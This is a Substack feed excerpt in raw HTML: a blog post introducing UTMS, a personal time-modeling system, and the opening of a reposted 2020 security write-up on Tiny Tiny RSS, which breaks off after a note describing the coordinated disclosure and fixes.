data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:298,&quot;bytes&quot;:212844,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166438051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KCk_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!KCk_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!KCk_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!KCk_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Also me, but crushed by tools meant to help manage my time</figcaption></figure></div><p></p><p>Think about the last week. How many times did you:</p><ul><li><p>Start a task, only to get pulled away and never really come back?</p></li><li><p>Juggle several things at once, switching constantly but feeling less productive?</p></li><li><p>Miss deadlines not because you forgot them, but because the tools you use don&#8217;t capture how your day <em>really</em> flows?</p></li></ul><p>Our current tools &#8212; calendars, timers, to-do lists &#8212; treat time like a simple line. They expect our lives to unfold neatly in slots and chunks. But life isn&#8217;t neat. It&#8217;s messy. It&#8217;s full of interruptions, detours, habits, and bursts of focus.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fngE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fngE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 424w, https://substackcdn.com/image/fetch/$s_!fngE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 848w, https://substackcdn.com/image/fetch/$s_!fngE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 1272w, https://substackcdn.com/image/fetch/$s_!fngE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fngE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png" width="1404" height="855" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:855,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:109236,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166438051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcba17344-86bd-48bd-bfed-4d95a7e918cd_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fngE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 424w, https://substackcdn.com/image/fetch/$s_!fngE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 848w, https://substackcdn.com/image/fetch/$s_!fngE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 1272w, https://substackcdn.com/image/fetch/$s_!fngE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5dd4f4e-f13d-47d8-8dbe-584b589d257d_1404x855.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Does the time really happen linearly like all the apps pretend it does?</figcaption></figure></div><p></p><p>We live in a complex web of overlapping actions and unexpected events. The way we experience time is fractured and fragmented, yet the tools we have ask us to pretend it&#8217;s all clean and linear.</p><p>This mismatch isn&#8217;t just inconvenient. It hurts us.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UO-Z!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UO-Z!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!UO-Z!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!UO-Z!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!UO-Z!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UO-Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png" width="1404" height="1872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:279452,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166438051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UO-Z!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!UO-Z!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!UO-Z!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!UO-Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbed07e5-20e4-4783-8631-b462c82c4dfa_1404x1872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">A typical start of my day</figcaption></figure></div><p>It leads to frustration, burnout, lost productivity, and the nagging feeling that we&#8217;re never really in control of our time.</p><div><hr></div><p>That&#8217;s why I built <strong>UTMS &#8212; the Universal Time Modeling System.</strong></p><p>UTMS is not just another calendar or task manager. It&#8217;s a radical rethink of how to represent time &#8212; a system designed from the ground up to <em>model</em> the messy, dynamic way we actually live it.</p><p>Imagine a system that understands:</p><ul><li><p>That tasks don&#8217;t happen in isolation but overlap, interrupt, and flow into one another.</p></li><li><p>That habits form the backbone of our daily routines but can be tracked, measured, and improved over time.</p></li><li><p>That time is not just marked by events, but by <em>anchors</em> &#8212; moments that help orient us in a chaotic schedule.</p></li><li><p>That interruptions aren&#8217;t failures, but natural parts of human cognition to be understood and managed.</p></li><li><p>That recurrence and emergence happen naturally, and can be embraced rather than fought.</p></li></ul><p>UTMS is programmable and AI-assisted, built to let you model time on your own terms &#8212; to build a personalized map of your attention, actions, and rhythms.</p><p>It&#8217;s like having a real-time cognitive assistant that helps you see your time clearly and act decisively &#8212; even when the world pulls you in a hundred directions.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YLIs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YLIs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 424w, https://substackcdn.com/image/fetch/$s_!YLIs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 848w, https://substackcdn.com/image/fetch/$s_!YLIs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 1272w, https://substackcdn.com/image/fetch/$s_!YLIs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YLIs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png" width="997" height="891" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:891,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:72413,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166438051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36527abf-1847-46af-a316-2fe2123e23eb_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YLIs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 424w, https://substackcdn.com/image/fetch/$s_!YLIs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 848w, https://substackcdn.com/image/fetch/$s_!YLIs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 1272w, https://substackcdn.com/image/fetch/$s_!YLIs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2782400-45b2-4313-8031-4a50a1d7bb59_997x891.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Me trying to use UTMS</figcaption></figure></div><p></p><div><hr></div><p>Why did I build this?</p><p>Because I couldn&#8217;t find anything else like it.</p><p>I&#8217;m a penetration tester by trade &#8212; a person who thrives on precision, understanding complex systems, and anticipating the unexpected.</p><p>Yet even with all my tools and skills, I found traditional time management systems frustratingly shallow. They didn&#8217;t capture the way I think about interruptions, how context switching drains energy, or how habits quietly shape my day.</p><p>I wanted a system that could <em>think</em> about time like I do &#8212; not just mark it on a calendar.</p><p>So I started building.</p><p>Within days of using the first version of UTMS, I noticed something surprising: my relationship with time began to change.</p><p>I wasn&#8217;t just tracking what I did; I was understanding <em>how</em> I moved through my day.</p><p>I felt more in control, less fragmented, and strangely, more creative.</p><p>This physical Arduino setup you see? It&#8217;s my first bridge between the abstract world of time modeling and tangible reality &#8212; a prototype to experiment with real inputs and outputs that represent time not as numbers on a clock, but as lived experience.</p><div><hr></div><p>This blog is the start of a journey.</p><p>I&#8217;ll be sharing the story behind UTMS: the concepts, the challenges, and the surprising insights that come from modeling time as a living, breathing phenomenon.</p><p>Here&#8217;s what&#8217;s coming soon:</p><ul><li><p>How UTMS models interruptions and multitasking, and why that matters for productivity</p></li><li><p>The role of habits and anchors &#8212; and how they can help you regain control</p></li><li><p>How programmable AI assists in making sense of the chaos</p></li><li><p>Real-world examples of using UTMS to change the way you work and live</p></li></ul><p>If you&#8217;re tired of trying to fit your messy life into rigid tools, if you&#8217;re curious about a new way to see and work with time, this series is for you.</p><p>Stay tuned.</p>]]></content:encoded></item><item><title><![CDATA[Exploiting Tiny Tiny RSS (2020)]]></title><description><![CDATA[In August of 2020, we decided to analyze Tiny Tiny RSS web application for security vulnerabilities. We had great success in doing so, and this blog post will describe how we found and exploited them.]]></description><link>https://blog.neagaru.com/p/exploiting-tiny-tiny-rss-2020</link><guid isPermaLink="false">https://blog.neagaru.com/p/exploiting-tiny-tiny-rss-2020</guid><dc:creator><![CDATA[Daniel Neagaru]]></dc:creator><pubDate>Fri, 20 Jun 2025 21:20:22 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1xds!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>This article has been published in 2020, after me and Benjamin Nadarevi&#263; worked together on it. The original website is no longer up, so I decided to repost it here.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1xds!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1xds!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 424w, https://substackcdn.com/image/fetch/$s_!1xds!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 848w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1272w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1xds!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png" width="1456" height="686" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/de8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:686,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:277673,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166428901?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1xds!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 424w, https://substackcdn.com/image/fetch/$s_!1xds!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 848w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1272w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p><em>Andrew Dolgov (main tt-rss developer) has resolved all the issues fast and it was a pleasure to do the disclosure with him. For a period of three days since our first contact with him, many security related changes were pushed, and with <a href="https://git.tt-rss.org/fox/tt-rss/commit/3588d5186ef7321fa573adbb62f42b05d7a138be">last commit</a> the gettext CVE finding was fixed. You can follow the discussion about our findings and fixes in the <a href="https://community.tt-rss.org/t/heads-up-several-vulnerabilities-fixed/3799">TinyTinyRSS Community forum</a>.</em></p><p>You can read the whole <a 